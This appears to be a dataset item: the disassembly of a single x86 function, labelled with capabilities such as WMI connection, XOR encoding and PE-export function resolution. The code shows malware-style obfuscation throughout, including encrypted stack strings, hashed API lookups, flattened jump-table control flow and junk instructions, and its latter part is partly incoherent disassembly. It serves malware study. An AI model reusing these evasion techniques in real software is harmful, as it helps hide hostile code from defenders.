Function at 0x43b152
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x44f530]
mov dword [esp], 0x934191ad
mov dword [esp + 4], 0xaf5dad25
mov dword [esp + 8], 0xab57a924
mov dword [esp + 0xc], 0xa77aa551
mov dword [esp + 0x10], 0xa35ba152
mov dword [esp + 0x14], 0xbf43bd32
mov dword [esp + 0x18], 0xbbbab985
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
mov edi, 0x5c
mov edx, 0xa3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + edi - 0x5c]
mov esi, edx
or esi, ecx
lea ebx, [ecx + ecx]
not ebx
add ebx, ecx
mov ecx, edi
xor ecx, ebx
add ecx, ebx
and ebx, edx
sub ecx, ebx
and ecx, esi
mov bl, 0x33
sub bl, cl
mov byte [esp + edi - 0x5c], bl
inc edi
dec edx
cmp edi, 0x7b
jne case.default.0x43b116
lea ecx, [esp + 0x50]
lea esi, [esp + 0x84]
mov ebx, esp
push ecx
push 8
push esi
push 0xd
push ebx
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44cff8]
mov word [esp + 0x84], 0x43
jmp dword [0x44d00c]
mov word [esp + 0x86], 0x3a
mov dword [esp + 0x88], 0x5c
mov eax, dword [case.0x43b116.8]
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x40], 0
lea eax, [esp + 0x40]
push eax
push 0x446b20
push 1
push 0
push 0x446b30
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d020]
mov dword [esp], 0x8f5d895e
mov dword [esp + 4], 0x83568d5f
mov dword [esp + 8], 0x8741812c
mov dword [esp + 0xc], 0x9b47855d
mov dword [esp + 0x10], 0x9f689932
mov word [esp + 0x14], 0x9d9c
mov dword [esp + 0x16], 0
mov word [esp + 0x1a], 0
xor eax, eax
xor esi, esi
movzx edx, byte [esp + esi]
mov edi, eax
and edi, 4
mov ecx, esi
xor ecx, 0xe74cb362
add ecx, edi
mov edi, edx
xor edi, ecx
lea ebx, [edi + edi]
not ebx
add ebx, edi
and ebx, ecx
add ebx, ebx
sub ecx, ebx
add cl, dl
add cl, 0x16
mov byte [esp + esi], cl
inc esi
add eax, 2
cmp esi, 0x1c
jne case.default.0x43b241
mov ebx, esp
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d028]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x58]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d030]
mov dword [esp + 0x38], esi
mov dword [esp], 0x39853b85
mov dword [esp + 4], 0x2526278c
mov byte [esp + 8], 0
mov eax, 0x60f5408b
mov ecx, 0x9f0abf74
nop
nop
movzx edx, byte [esp + eax - 0x60f5408b]
lea edi, [eax - 0x60f54000]
and edi, edx
add edi, edi
mov esi, edi
not esi
and esi, eax
and edi, ecx
sub esi, edi
add esi, edx
mov edx, esi
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
add dl, 0x48
mov byte [esp + eax - 0x60f5408b], dl
inc eax
dec ecx
cmp eax, 0x60f54094
jne 0x43b290
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp], 0xc971cb61
mov dword [esp + 4], 0xc57dc77c
mov dword [esp + 8], 0xc16ec379
mov dword [esp + 0xc], 0xbd68bf20
mov dword [esp + 0x10], 0xb900bb5c
mov dword [esp + 0x14], 0xb507b716
mov dword [esp + 0x18], 0xb152b307
mov dword [esp + 0x1c], 0xad39af19
mov dword [esp + 0x20], 0xa967ab3e
mov dword [esp + 0x24], 0xa507a766
mov dword [esp + 0x28], 0xa115a31a
mov dword [esp + 0x2c], 0x9d339f11
mov word [esp + 0x30], 0x9b9c
mov dword [esp + 0x32], 0
mov word [esp + 0x36], 0
mov eax, 0x33
mov ecx, 0xcc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x33]
mov esi, eax
or esi, edx
not edx
or edx, ecx
and edx, esi
inc dl
mov byte [esp + eax - 0x33], dl
inc eax
dec ecx
cmp eax, 0x6b
jne case.default.0x43b3a1
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x3c]
mov ecx, dword [esi]
lea edx, [esp + 0x4c]
push edx
push 0
push 0x30
mov dword [esp + 0x78], eax
push eax
push edi
push esi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d038]
mov dword [esp + 0x44], 0
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
lea esi, [esp + 0x48]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
mov ecx, dword [case.0x43b3a1.4]
nop
nop
jmp ecx
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x44], 0
setne dl
and al, cl
and al, dl
movzx eax, al
jmp dword [eax*4 + 0x44d050]
mov dword [esp + 0x68], edi
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x48]
mov dword [esp], 0x51e94f19
mov dword [esp + 4], 0x55f953e2
mov dword [esp + 8], 0x59fa57f7
mov dword [esp + 0xc], 0x5ded5b16
mov dword [esp + 0x10], 0xa1fc5ff3
mov dword [esp + 0x14], 0xa510a307
mov word [esp + 0x18], 0xa7a4
mov dword [esp + 0x1a], 0
mov ecx, 0xed
mov edx, 0x50cbac12
nop
nop
movzx esi, byte [esp + ecx - 0xed]
mov edi, ecx
xor edi, edx
and edi, esi
xor edi, edx
mov esi, edi
not esi
and esi, 0x2b
xor edi, 0xd4
lea ebx, [edi + esi*2]
add bl, 0x34
mov byte [esp + ecx - 0xed], bl
inc ecx
dec edx
cmp ecx, 0x10b
jne case.default.0x43b4ad
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x78]
push esi
push 0
lea ebx, [esp + 0x10]
push ebx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x70], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44d058]
mov eax, dword [esp + 0x78]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x64], eax
je 0x43b4f8
add eax, 2
xor esi, esi
jmp 0x43b4d7
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43b4fa
cmp cx, 0x7f
jbe 0x43b4cb
movzx edx, cx
cmp edx, 0x7ff
ja 0x43b4ed
add esi, 2
jmp 0x43b4cc
cmp cx, 0xffff
je 0x43b4cc
add esi, 3
jmp 0x43b4cc
xor esi, esi
lea eax, [esi + 1]
mov dword [esp + 0x60], eax
push eax
call fcn.0040ce10
add esp, 4
mov edi, eax
push dword [esp + 0x64]
push dword [esp + 0x64]
push eax
call fcn.00429fd0
add esp, 0xc
xor eax, eax
mov ecx, dword [case.0x43b4ad.12]
xor edx, edx
cmp eax, 4
setb dl
jmp dword [edx*4 + 0x44d060]
mov edx, dword [edi + eax*4]
mov dword [esp + eax*4 + 0x50], edx
mov edx, esi
xor edx, 4
and esi, 0xfffffffb
add esi, esi
sub esi, edx
xor edx, edx
cmp esi, 4
setb dl
jmp dword [edx*4 + 0x44d078]
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
xor edx, edx
cmp eax, 4
setb dl
jmp dword [edx*4 + 0x44d060]
mov eax, dword [case.0x43b4ad.6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea esi, [esp + 0x70]
jmp dword [0x44d090]
push edi
call fcn.0040ce20
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [esp + 0x68]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edi
call esi
push dword [esp + 0x6c]
call esi
mov esi, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea esi, [esp + 0x84]
mov dword [esp], 0
push 0xd2e7977e
push dword [0x44f528]
call fcn.00443350
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ebp + 8]
jmp dword [ecx*4 + 0x44d098]
mov eax, dword [esp]
mov dword [esp + 0x50], eax
xor esi, esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44d0a0]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44d0a8]
xor eax, eax
cmp dword [esp + esi*4 + 0x50], 0
sete al
jmp dword [eax*4 + 0x44d0b0]
mov eax, dword [case.0x43b4ad.25]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, esi
jmp 0x43b693
lea eax, [esi - 1]
imul eax, dword [esp + eax*4 + 0x50], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + esi*4 + 0x50], eax
mov edi, 0xffffffff
push 0x10
push 9
mov dword [esp + 0x40], edx
push edx
push eax
call fcn.00434370
add esp, 0x10
nop
nop
nop
nop
nop
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne case.default.0x43b6e0
mov ecx, edi
and ecx, 0xfffffff7
not edi
and edi, 8
sub ecx, edi
xor ebx, ebx
cmp ecx, 0
setne bl
xor edx, edx
jmp dword [ebx*4 + 0x44d0c8]
mov byte [eax + edx - 1], 0x30
dec edx
xor ebx, ebx
cmp ecx, edx
setne bl
jmp dword [ebx*4 + 0x44d0c8]
mov edx, dword [esp + 0x38]
add edx, 8
inc esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44d0a0]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
mov edi, esp
jmp ecx
sub esp, 8
mov ebx, esp
sub esp, 0x10
mov esi, esp
push 0x68
push 7
push 0x100080
push edi
push eax
call fcn.00443c60
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d0f0]
xor eax, eax
jmp 0x43b95f
push 0x400
call fcn.0043e690
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [edi]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x80b0a0d
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 0x43
xor cl, byte [ebp + eax - 0x18]
add cl, 0xb1
mov byte [ebp + eax - 0x18], cl
inc eax
cmp eax, 7
jne 0x43b7b0
mov eax, dword [ebp - 0x18]
mov edx, dword [0x44f534]
test edx, edx
je case.default.0x43b82a
mov dword [ebp - 0x10], ebx
xor ecx, ecx
mov ebx, dword [0x44f538]
nop
nop
cmp dword [ebx + ecx*8], 0xa70a987f
je 0x43b7f0
inc ecx
cmp edx, ecx
jne 0x43b7e0
jmp case.default.0x43b82a
mov ecx, dword [ebx + ecx*8 + 4]
cmp ecx, eax
je case.default.0x43b82a
push 0x2f
push 0x400
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp - 0x20]
push 5
push dword [0x44f53c]
push ecx
call fcn.00440f10
add esp, 0x20
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x44d0f8]
push ecx
call fcn.0043e710
add esp, 4
mov eax, dword [edi]
mov dword [ebp - 0x18], 0x80b0a0d
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
nop
nop
nop
mov ecx, ebx
add cl, 0x43
xor cl, byte [ebp + ebx - 0x18]
add cl, 0xb1
mov byte [ebp + ebx - 0x18], cl
inc ebx
cmp ebx, 7
jne 0x43b850
mov ecx, dword [0x44f534]
test ecx, ecx
je 0x43b95a
mov edx, dword [ebp - 0x18]
xor esi, esi
mov edi, dword [0x44f538]
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x43b940
inc esi
cmp ecx, esi
jne 0x43b880
jmp 0x43b95a
xor eax, eax
cmp ebx, dword [ecx]
setb al
xor edx, edx
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x44d100]
mov ecx, esi
call fcn.0043eb40
mov edx, dword [ebp - 0x20]
inc edx
xor eax, eax
mov ecx, dword [ebp - 0x1c]
cmp edx, dword [ecx]
setb al
jmp dword [eax*4 + 0x44d100]
mov dword [ebp - 0x20], edx
mov eax, dword [ecx + edx*4 + 4]
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi], 0
mov ecx, esi
push 0
push eax
call fcn.0043e9a0
xor eax, eax
mov ecx, dword [ebp + 0xc]
neg ecx
mov ecx, dword [ebp + 0x10]
sbb eax, ecx
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, esi
push eax
call fcn.0043e9c0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d108]
mov ecx, esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
call fcn.0043ec00
test eax, eax
setns al
mov dword [ebp - 0x10], eax
jmp case.0x43b82a.4
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x43b95a
push eax
push 1
push dword [0x44f53c]
push ecx
call fcn.00440f10
add esp, 0x10
mov eax, dword [ebp - 0x10]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x25c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e6d0
mov dword [esp + 0x148], 1
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x148]
mov eax, dword [eax + ecx*4]
jmp eax
add ebx, 0xfffffffe
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0x19c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [edi]
mov ecx, dword [esp + 0x288]
mov edx, dword [esp + 0x28c]
mov ecx, dword [edx + ecx*4]
jmp ecx
xor eax, eax
mov ecx, dword [esp + 0xc]
sub ecx, edi
seta al
mov dword [esp + 0x2d8], eax
mov eax, dword [esp + 0x2dc]
mov ecx, dword [esp + 0x2d8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e6d0
mov dword [esp + 0x370], 0
mov eax, dword [esp + 0x374]
mov ecx, dword [esp + 0x370]
mov eax, dword [eax + ecx*4]
jmp eax
mov esi, ebp
add esi, 2
mov ax, word [ebp + 2]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x2e0], ecx
mov eax, dword [esp + 0x2e4]
add byte [ebx + 0x2e0248c], cl
add byte [eax], al
mov word [ebx], 0
mov eax, dword [esp + 0x128]
mov ecx, dword [esp + 0x12c]
mov eax, dword [ecx + eax*4]
mov ebp, esi
jmp eax
mov dword [esp], ebp
call fcn.0041cc70
lea esi, [ebp + eax*2]
mov eax, dword [esp + 0x310]
mov ecx, dword [esp + 0x314]
mov eax, dword [ecx + eax*4]
jmp eax
mov cx, word [ebp]
xor edx, edx
sub cx, 0x2e
sete dl
mov dword [esp + 0x218], edx
mov ecx, dword [esp + 0x21c]
and al, 0x18
add al, byte [eax]
add byte [ebx + 0x21c248c], cl
add byte [eax], al
mov edx, dword [esp + 0x218]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov esi, edi
add esi, 4
mov ax, word [edi + 4]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0xc8], ecx
mov eax, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
mov eax, dword [eax + ecx*4]
jmp eax
jbe 0x43c549
mov dword [ebp + 0x5024448b], ebp
mov ecx, dword [esp + 0x54]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e6d0
mov cx, word [ebp]
xor eax, eax
test cx, cx
setne cl
mov dword [esp + 0x348], 1
mov edx, dword [esp + 0x34c]
mov esi, dword [esp + 0x348]
mov edx, dword [edx + esi*4]
jmp edx
call fcn.0040e6d0
mov dword [esp + 0xc0], 0
mov eax, dword [esp + 0xc4]
mov ecx, dword [esp + 0xc0]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x170]
mov edx, dword [esp + 0x174]
mov ecx, dword [edx + ecx*4]
mov ebx, eax
jmp ecx
mov ax, word [edi + 2]
xor ecx, ecx
sub ax, 0x3a
sete cl
mov dword [esp + 0xd0], ecx
mov eax, dword [esp + 0xd4]
mov ecx, dword [esp + 0xd0]
mov eax, dword [eax + ecx*4]
jmp eax
test al, 0x2f
xor dword [ebx - 0x42], ecx
cli
ret
imul esp, dword [esi + ecx*4 + 0x33], 0xffffffcb
inc esp
push eax
inc edi
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x158], eax
mov eax, dword [esp + 0x15c]
mov ecx, dword [esp + 0x158]
mov eax, dword [eax + ecx*4]
jmp eax
mov ebx, dword [esp + 0xc]
mov word [ebx], 0x5c
add ebx, 2
add ebp, 2
mov eax, dword [esp + 0x2f8]
mov ecx, dword [esp + 0x2fc]
mov eax, dword [ecx + eax*4]
mov esi, ebp
jmp eax
adc byte [eax - 0x6f], 0xbf
fcom dword [ebx + ebp*8 + 0x25]
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
mov di, word [edi]
mov eax, dword [esp + 0x2d0]
mov ecx, dword [esp + 0x2d4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x84]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
mov ebx, ebp
add ebx, 2
mov cx, word [ebp + 2]
xor edx, edx
sub cx, 0x2e
sete dl
mov dword [esp + 0x210], edx
mov ecx, dword [esp + 0x214]
mov edx, dword [esp + 0x210]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov edx, dword [esp + 0x320]
mov edi, dword [esp + 0x324]
mov edx, dword [edi + edx*4]
jmp edx
call fcn.0040e6d0
mov cx, word [ebp + 4]
xor eax, eax
sub cx, 0x5c
sete cl
mov dword [esp + 0x160], 1
mov edx, dword [esp + 0x164]
mov esi, dword [esp + 0x160]
mov edx, dword [edx + esi*4]
jmp edx
mov cx, word [ebp]
xor edx, edx
sub cx, 0x2e
sete dl
mov dword [esp + 0x2e8], edx
mov ecx, dword [esp + 0x2ec]
mov edx, dword [esp + 0x2e8]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e6d0
mov dword [esp + 0x238], 0
mov eax, dword [esp + 0x23c]
mov ecx, dword [esp + 0x238]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x340], eax
mov eax, dword [esp + 0x344]
mov ecx, dword [esp + 0x340]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1a8]
mov ecx, dword [esp + 0x1ac]
mov eax, dword [ecx + eax*4]
jmp eax
add ebx, 0xfffffffe
mov eax, dword [esp + 0x178]
mov ecx, dword [esp + 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x6c]
mov eax, dword [ecx + eax*4]
jmp eax
inc al
movzx eax, al
and eax, 1
mov dword [esp + 0x260], eax
mov eax, dword [esp + 0x264]
mov ecx, dword [esp + 0x260]
mov eax, dword [eax + ecx*4]
mov edi, ebx
mov ebx, dword [esp + 0xc]
jmp eax
mov eax, dword [esp + 0x140]
mov ecx, dword [esp + 0x144]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 0x3c]
jmp eax
mov cx, word [ebp]
xor edx, edx
sub cx, 0x5c
sete dl
mov dword [esp + 0x300], edx
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e6d0
mov dword [esp + 0x168], 0
mov eax, dword [esp + 0x16c]
mov ecx, dword [esp + 0x168]
mov eax, dword [eax + ecx*4]
jmp eax
add ebp, 4
mov eax, dword [esp + 0x228]
mov ecx, dword [esp + 0x22c]
mov eax, dword [ecx + eax*4]
mov esi, ebp
mov ebx, dword [esp + 0xc]
jmp eax
call fcn.0040e6d0
mov dword [esp + 0xe0], 1
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0xe0]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x14]
mov byte [esp + 0x20], al
mov byte [esp + 0x24], 0x8a
mov byte [esp + 0x25], 0x5b
mov byte [esp + 0x26], 0xb6
mov byte [esp + 0x27], 0x59
mov byte [esp + 0x28], 0x58
mov byte [esp + 0x29], 0x5f
mov eax, 6
mov byte [esp + eax + 0x24], 0
add eax, 1
cmp eax, 0xb
jne 0x43c9be
xor eax, eax
cmp eax, 0xb
jae 0x43ca18
movzx edx, byte [esp + eax + 0x24]
mov ecx, eax
add ecx, 0x96499d0f
mov esi, edx
xor esi, 0xffffffff
and ecx, esi
mov esi, 0xf0
sub esi, eax
and esi, edx
or ecx, esi
mov edx, ecx
xor edx, 0xef70114c
shl ecx, 1
and ecx, 0x211fdd66
sub ecx, edx
mov edx, ecx
shl edx, 1
and edx, 2
xor ecx, 1
add ecx, edx
mov byte [esp + eax + 0x24], cl
add eax, 1
jmp 0x43c9cd
mov esi, edi
add esi, 2
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.0043d1a0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x1f0], ecx
mov eax, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x1f0]
mov eax, dword [eax + ecx*4]
add al, 0x88
jmp eax
mov ecx, dword [esp + 0x1d8]
mov edx, dword [esp + 0x1dc]
mov ecx, dword [edx + ecx*4]
jmp ecx
popfd
cmp eax, esp
or eax, 0x9024848b
add byte [eax], al
add byte [ebx + 0x94248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e6d0
movzx ebp, di
mov dword [esp + 0x2c0], 1
mov eax, dword [esp + 0x2c4]
mov ecx, dword [esp + 0x2c0]
mov eax, dword [eax + ecx*4]
jmp eax
jp 0x43ca4a
not dword [eax - 0x75]
inc esp
and al, 0x70
mov ecx, dword [esp + 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e6d0
mov dword [esp + 0x240], 0
mov eax, dword [esp + 0x244]
mov ecx, dword [esp + 0x240]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e6d0
mov ax, word [edi]
mov dword [esp + 0x1e0], 1
mov ecx, dword [esp + 0x1e4]
mov edx, dword [esp + 0x1e0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e6d0
mov dword [esp + 0x378], 0
mov eax, dword [esp + 0x37c]
mov ecx, dword [esp + 0x378]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
mov ecx, dword [ecx + eax*4]
mov al, 1
jmp ecx
mov word [edi], 0x5c
mov eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e6d0
mov cx, word [edi]
xor eax, eax
test cx, cx
sete cl
mov dword [esp + 0x118], 0
mov edx, dword [esp + 0x11c]
mov esi, dword [esp + 0x118]
mov edx, dword [edx + esi*4]
jmp edx
mov ax, word [ebx]
xor ecx, ecx
sub ax, 0x5c
sete cl
call 0xc1d7db06
mov dword [esp + 0x188], ecx
mov eax, dword [esp + 0x18c]
mov ecx, dword [esp + 0x188]
mov eax, dword [eax + ecx*4]
jmp eax
daa
mov dword [ecx], ecx
cmp al, 0xca
loop 0x43cba5
mov eax, dword cs:[esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x110]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 8], eax
mov dword [esp + 4], ebp
mov ebx, dword [esp + 0xc]
mov dword [esp], ebx
call fcn.0041c8c0
lea ebx, [ebx + esi*2]
lea esi, [ebp + esi*2]
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
mov eax, dword [ecx + eax*4]
jmp eax
add ebp, 4
mov eax, dword [esp + 0x138]
mov ecx, dword [esp + 0x13c]
mov eax, dword [ecx + eax*4]
mov esi, ebp
jmp eax
mov edx, dword [esp + 0x2a0]
mov edi, dword [esp + 0x2a4]
mov edx, dword [edi + edx*4]
jmp edx
call fcn.0040e6d0
mov dword [esp + 0x120], 1
mov eax, dword [esp + 0x124]
mov ecx, dword [esp + 0x120]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e6d0
xor eax, eax
test ebp, ebp
sete cl
mov dword [esp + 0x2a8], 0
mov edx, dword [esp + 0x2ac]
mov edi, dword [esp + 0x2a8]
mov edx, dword [edx + edi*4]
jmp edx
fldcw word [ebp - 0x231c4e0d]
add byte [edx - 0x5fdb7b75], dh
add byte [eax], al
add byte [ebx + 0xa4248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
mov word [edi], 0
mov eax, dword [esp + 0x360]
mov ecx, dword [esp + 0x364]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x230]
mov ecx, dword [esp + 0x234]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0xc]
jmp eax
xchg edi, eax
adc byte [ebx + 0x1e], 0x66
mov dword [esi], 0xc766005c
inc edi
push es
add byte [eax], al
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
mov eax, dword [ecx + eax*4]
jmp eax
sub esi, ebp
sar esi, 1
mov eax, esi
add eax, 0x27b2da0c
mov ecx, eax
not ecx
and ecx, 0x27b2da0b
and eax, 0xd84d25f4
sub eax, ecx
xor ecx, ecx
mov edx, eax
sub edx, 1
sete cl
mov dword [esp + 0x308], ecx
mov ecx, dword [esp + 0x30c]
mov edx, dword [esp + 0x308]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov dword [esp + 0xc], ebx
mov ebx, edi
mov dword [esp], ebp
mov dword [esp + 4], 0x5c
call fcn.0043d160
mov esi, eax
mov eax, dword [esp + 0x338]
mov ecx, dword [esp + 0x33c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebp]
test ax, ax
sete al
mov ecx, dword [esp + 0x268]
mov edx, dword [esp + 0x26c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esp + 0x368]
mov ecx, dword [esp + 0x36c]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
mov al, byte [esp + 0x18]
mov byte [esp + 0x1c], al
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x67
mov byte [esp + 0x32], 2
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x60
mov byte [esp + 0x35], 0x63
mov eax, 6
mov byte [esp + eax + 0x30], 0
add eax, 1
cmp eax, 0xb
jne 0x43ce83
xor eax, eax
cmp eax, 0xb
jae 0x43cec3
mov dl, byte [esp + eax + 0x30]
mov edi, eax
add edi, 0xe9
mov ecx, eax
and ecx, 1
and edi, 0xfe
or ecx, edi
mov edi, ebx
xor cl, dl
xor cl, 1
add cl, 0x73
mov byte [esp + eax + 0x30], cl
add eax, 1
jmp 0x43ce92
mov ebp, edi
add ebp, 2
lea eax, [esp + 0x30]
mov dword [esp + 4], eax
mov dword [esp], ebp
call fcn.0043d1a0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x290], ecx
mov eax, dword [esp + 0x294]
mov ecx, dword [esp + 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
not al
movzx eax, al
and eax, 1
mov dword [esp + 0x1b0], eax
mov eax, dword [esp + 0x1b4]
mov ecx, dword [esp + 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 3
sete cl
mov dword [esp + 0x220], ecx
mov ecx, dword [esp + 0x224]
mov edx, dword [esp + 0x220]
mov ecx, dword [ecx + edx*4]
jmp ecx
add ebx, 0xfffffffe
mov eax, dword [esp + 0x248]
mov ecx, dword [esp + 0x24c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e6d0
